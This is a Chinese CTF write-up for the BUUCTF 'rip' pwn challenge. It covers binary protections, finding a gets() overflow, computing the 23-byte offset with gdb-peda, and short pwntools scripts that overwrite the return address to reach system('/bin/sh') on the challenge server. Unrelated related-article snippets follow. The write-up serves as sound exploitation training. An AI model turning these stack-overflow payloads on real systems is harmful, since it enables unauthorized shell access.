pwn | BUUCTF rip 1 pwn基本思路

news2024/11/26 4:32:08

题目:BUUCTF rip 1
整体参考:
添加链接描述(写得好详细我好爱
BUUCTF (PWN) RIP详细分析(为什么payload有两种写法
其他知识&&引用:
二进制的保护机制
8086汇编语言dup指令学习
【Tips】使用gdb-peda进行RIP覆盖点偏移量的计算

2024.04.26


pwn基本思路

太久没碰pwn了(而且本来也不是很熟),几乎全忘了,通过这道题整理一下基本做题思路

题面

(以下是我的瞎理解)
题目会给一个靶机(?)地址和端口,给一个附件
这个附件是和远程一样的内容,连远程其实相当于远程运行这个附件程序
所以可以通过对附件的检查和解析来帮助我们确定怎么去获取远程控制权(system("/bin/sh")),最终得到flag
需要注意的是,不管怎么分析附件程序,最终还是要通过远程连接获取flag,这才是pwn的目的,所以有些本地和远程运行起来不一样的地方要特别注意(对的我在提醒我自己我个大傻子
在这里插入图片描述

checksec

可以查看文件类型和linux下的ELF二进制文件的保护机制
在这里插入图片描述
二进制保护机制
来自二进制的保护机制

1.Canary(栈保护)
这个选项表示栈保护功能有没有开启。
栈溢出保护是一种缓冲区溢出攻击缓解手段,当函数存在缓冲区溢出攻击漏洞时,攻击者可以覆盖栈上的返回地址来让shellcode能够得到执行。当启用栈保护后,函数开始执行的时候会先往栈里插入cookie信息,当函数真正返回的时候会验证cookie信息是否合法,如果不合法就停止程序运行。攻击者在覆盖返回地址的时候往往也会将cookie信息给覆盖掉,导致栈保护检查失败而阻止shellcode的执行。在Linux中我们将cookie信息称为canary。
2.NX/DEP(堆栈不可执行)
NX即No-eXecute(不可执行)的意思,NX(DEP)的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。
3.PIE/ASLR(地址随机化)
4.Fortify
这个保护机制查了很久都没有个很好的汉语形容,根据我的理解它其实和栈保护都是gcc的新的为了增强保护的一种机制,防止缓冲区溢出攻击。由于并不是太常见,也没有太多的了解。
5.RelRO
设置符号重定向表格为只读或在程序启动时就解析并绑定所有动态符号,从而减少对GOT(Global Offset Table)攻击。

附件分析

我一般用ida,上面查了是64位的所以用ida64打开
main函数有明显的漏洞,gets,又没有栈溢出保护,可以栈溢出
在这里插入图片描述字符里很容易发现/bin/sh(获取权限的命令,pwn手最爱
双击找到字符串的地址
在这里插入图片描述在这一行上右键,选Xrefs to,可以看到哪里引用了这个字符串(不知道有没有别的办法
在这里插入图片描述在这里插入图片描述来看看fun这个函数
在这里插入图片描述直接是system("/bin/sh"),非常的好,那么只要通过栈溢出把返回地址改成这个fun函数的地址就行了(0x401186

算偏移量

看地址算偏移量

点进去main函数里的输入字符串s,看到一共15个字节
在这里插入图片描述注意到后边有个db 8 dup(?)
来自8086汇编语言dup指令学习:
dup是duplicate的缩写,重复的意思;
用来定义重复的字节、字、双字、结构等内存缓冲区;

db x dup(),x是重复的次数,()里是要重复的数,逗号分隔;

  db 重复的次数 dup (重复的字节性数据)
  dw 重复的次数 dup (重复的字型数据)
  dd 重复的次数 dup (重复的双字性数据)

那就需要15+8=23个字节
为什么要加上这个dup呢,似乎是要覆盖ebp,ebp后面才是返回地址,64位的ebp是8B

gdb-peda算偏移量

gdb和peda都要先配置好像,之前配过了所以直接用了,这里是默认进peda

gdb pwn1

在这里插入图片描述生成溢出字符串

pattern create 200

这个200是指定字符串的长度,要保证能够产生溢出
在这里插入图片描述r或者run命令让程序运行
在这里插入图片描述汗流浃背了,忘了给附件可执行权限,用chmod改一下再来
在程序提示输入的时候把上面生成的溢出字符串贴上去(注意去掉单引号),发生段错误

在这里插入图片描述此时RBP里存的是nAACAA-A,这段字符在整个溢出字符串中的的偏移就是我们要求的输入开头到返回地址的偏移量
使用pattern offset计算偏移
在这里插入图片描述
也可以看栈顶的偏移
在这里插入图片描述
直接得到23在这里插入图片描述

写脚本

脚本模板:

from pwn import * #引入pwn库

p = remote(ip, port) # 输入对应的ip地址和端口号来连接其他主机的服务

... # 输入payload来进行操作以拿到程序的shell payload一般等于 偏移量 + 地址

p.interactive() # 反弹shell
1
from pwn import *

p = remote('node5.buuoj.cn', 29467)
p.sendline(b'a' * 15 + p64(0x401186))
p.interactive()
2
from pwn import *

p = remote('node5.buuoj.cn', 29467)
p.sendline(b'a' * 23  + p64(0x401198) + p64(0x401186))
p.interactive()

这里在返回地址前要填一个ret的地址,实测0x401198(fun的ret)、0x401185(main的ret)、0x4010C0(deregister_tm_clones的ret)都可以,应该什么ret都可以
在这里插入图片描述在这里插入图片描述在这里插入图片描述
这里为什么payload这两种都可以我还是不太明白,在这篇文章的反思里有些解释
BUUCTF (PWN) RIP详细分析
还是没懂…以后再说吧

连远程,cat flag

写完之后运行
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1626016.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

java 词法分析练习

import parser.Parser;import java.util.ArrayList; import java.util.Arrays; import java.util.List;public class Main {public static void main(String[] args) {// 关键词List<String> keyList new ArrayList<>(Arrays.asList("int","String…

Android --- 网络请求

通常在 Android 中进行网络连接一般使用 Scoket 和HTTP&#xff0c;HTTP 请求方式比 Scoket 多。HTTP 请求一般采用原生的 HttpClient 和 HttpUrlConnection 的两种网络访问方式&#xff08;系统自带的&#xff09;。但是在 Android 5.0 的时候 Google 就不推荐使用 HttpClient…

力扣--N皇后

题目: 按照国际象棋的规则&#xff0c;皇后可以攻击与之处在同一行或同一列或同一斜线上的棋子。 n 皇后问题 研究的是如何将 n 个皇后放置在 nn 的棋盘上&#xff0c;并且使皇后彼此之间不能相互攻击。 给你一个整数 n &#xff0c;返回所有不同的 n 皇后问题 的解决方案。…

免费预约即将截止,5月7日上海TCT亚洲3D打印展参观指南,收藏!

进入TCT亚洲展官网&#xff08;网页搜索TCT亚洲展&#xff09;&#xff0c;免费登记预约 2024年TCT亚洲展作为推动增材制造在亚洲市场的业务交流的重要平台&#xff0c;将于2024年5月7日至9日在国家会展中心&#xff08;上海&#xff09;7.1&8.1馆举办&#xff0c;与海内外…

【LAMMPS学习】八、基础知识(4.4)TIP4P水模型

8. 基础知识 此部分描述了如何使用 LAMMPS 为用户和开发人员执行各种任务。术语表页面还列出了 MD 术语&#xff0c;以及相应 LAMMPS 手册页的链接。 LAMMPS 源代码分发的 examples 目录中包含的示例输入脚本以及示例脚本页面上突出显示的示例输入脚本还展示了如何设置和运行各…

软件测试面试笔试题-选择题(物联网)

1.在软件生命周期中&#xff0c;测试人员从那个阶段开始参与更有利于软件项目的成功() a)需求分析阶段 b)设计阶段 c)编码阶段 d)系统测试阶段 2.在 Bugzilla 缺陷跟踪系统中&#xff0c;下列选项中属于缺陷状态的是( )(选两项) a) new b) fixed clater d) verified 3.在 Bug…

一文解读:阿里云 AI 基础设施的演进与挑战

云布道师 2024 年 4 月 18-19 日&#xff0c;2024 中国生成式 AI 大会在北京 JW 万豪酒店举行&#xff0c;阿里云高级技术专家、阿里云异构计算 AI 推理团队负责人李鹏受邀在【AI Infra】专场发表题为《AI 基础设施的演进与挑战》的主题演讲。李鹏从 AIGC 对云基础设施的挑战、…

ProTable/EditableProTable修改表单保存后刷新界面数据不更新

1.背景 大坑。编辑表格保存后&#xff0c;接口拿到最新表格数据&#xff0c;但是界面没有刷新。本以为是加个id给表格就能刷新的&#xff0c;没想到需要重置表单。 2.解决 表格数据变更后需要重置表单 form.resetFields() <ProTablecolumns{columns}rowKey"id"…

OSPF域间路由

注&#xff1a;区域&#xff08;area&#xff09;是以接口进行划分的 描述&#xff1a; R1的g0/0/1接口属于area 0 √ R1属于区域0和区域1 1.设计原则 1、OSPF区域的设计原则&#xff1a; 骨干区域有且只能存在一个 非骨干区域必须和骨干区域相连 多区域时&#…

uniapp app权限说明弹框2024.4.23更新

华为上架被拒绝 用uni-app开发的app&#xff0c;上架华为被拒&#xff0c;问题如下&#xff1a; 您的应用在运行时&#xff0c;未见向用户告知权限申请的目的&#xff0c;向用户索取&#xff08;电话、相机、存储&#xff09;等权限&#xff0c;不符合华为应用市场审核标准。…

鸿蒙ArkUI实战开发-如何通过上下滑动实现亮度和音量调节

场景说明 在音视频应用中通常可以通过上下滑动来调节屏幕亮度和音量大小&#xff0c;本例即为大家介绍如何实现上述UI效果。 说明&#xff1a; 由于当前亮度和音量调节功能仅对系统应用开发&#xff0c;所以本例仅讲解UI效果的实现。 效果呈现 本例效果如下&#xff1a; 当在…

【Redis 开发】一人一单,超卖问题(悲观锁,乐观锁,分布式锁)

锁 悲观锁乐观锁第一种&#xff1a;版本号法第二种&#xff1a;CAS法实现乐观锁 悲观锁与乐观锁的比较 一人一单分布式锁Redis实现分布式锁 悲观锁 认为线程问题一定会发生&#xff0c;因此在操作数据库之前先获取锁&#xff0c;确保线程串行执行&#xff0c;例如Synchronized…

17 JavaScript 学习:正则表达式

JavaScript 正则表达式 JavaScript中正则表达式是一种强大的工具&#xff0c;用于在字符串中进行模式匹配和搜索。下面是一些JavaScript中使用正则表达式的基本知识&#xff1a; 创建正则表达式&#xff1a;可以使用字面量形式或者RegExp构造函数来创建正则表达式。 字面量形式…

【快速上手ESP32(基于ESP-IDFVSCode)】11-MQTT

MQTT MQTT&#xff08;Message Queuing Telemetry Transport&#xff0c;消息队列遥测传输协议&#xff09;是一种基于发布/订阅模式的轻量级通讯协议&#xff0c;构建于TCP/IP协议之上。它最初由IBM在1999年发布&#xff0c;主要用于在硬件性能受限和网络状况不佳的情况下&…

M-LAG的基本概念

如图所示&#xff0c;用户侧设备Switch&#xff08;可以是交换机或主机&#xff09;通过M-LAG机制与另外两台设备&#xff08;SwitchA和SwitchB&#xff09;进行跨设备链路聚合&#xff0c;共同组成一个双活系统。这样可以实现SwitchA和SwitchB共同进行流量转发的功能&#xff…

泰迪智能科技助力中山三院放射科搭建生成式大模型应用

泰迪智能科技作为一家专业从事物联网、大数据及人工智能技术研发、咨询与培训的高科技企业&#xff0c;具有强大的技术研发实力和应用经验。中山大学附属第三医院放射科是集医疗、教学、科研工作于一体的广东省临床重点专科&#xff0c;具有深厚的医疗资源和科研基础。两者合作…

安卓和ios设置自己的短链

ios 的info.plist文件 设置 CFBundleURLSchemes 其中konnect 就是设置app的短链名称 <array><dict><key>CFBundleTypeRole</key><string>Editor</string><key>CFBundleURLName</key><string>org.konnect.app</str…

4.keepalive 与 Idle 监测

为什么需要 keepalive ? 假设你开了一个饭店,别人电话来订餐,电话通了后,订餐的说了一堆订餐要求,说着说 着,对方就不讲话了(可能忘记挂机/出去办事/线路故障等)。 这个时候你会一直握着电话等么? 不会 如果不会,那你一般怎么去做?会确认一句“你还在么?”,如果对…

常见的掼蛋误区

1、过于依赖大牌 很多新手玩家会觉得手中的大牌是必胜的保证&#xff0c;然而这种想法都是片面的。在掼蛋游戏中&#xff0c;一个合理的牌型组合往往比单一的大牌更有胜算。因此玩家要综合考虑的是手中的牌型和牌面大小。 2、盲目跟风 不少玩家在掼蛋中喜欢跟着对手的出牌思路走…

当NebulaGraph遇上智能体:图数据库智能助手

在数字化转型的浪潮中&#xff0c;图数据库技术凭借其出色的数据关联性能和灵活的查询功能&#xff0c;逐渐成为企业重要的技术选项。我们的团队之前曾经在两个项目中进行了图数据库的重构&#xff1a;一次是从OrientDB迁移到NebulaGraph&#xff0c;另一次是将ES系统迁移到Neb…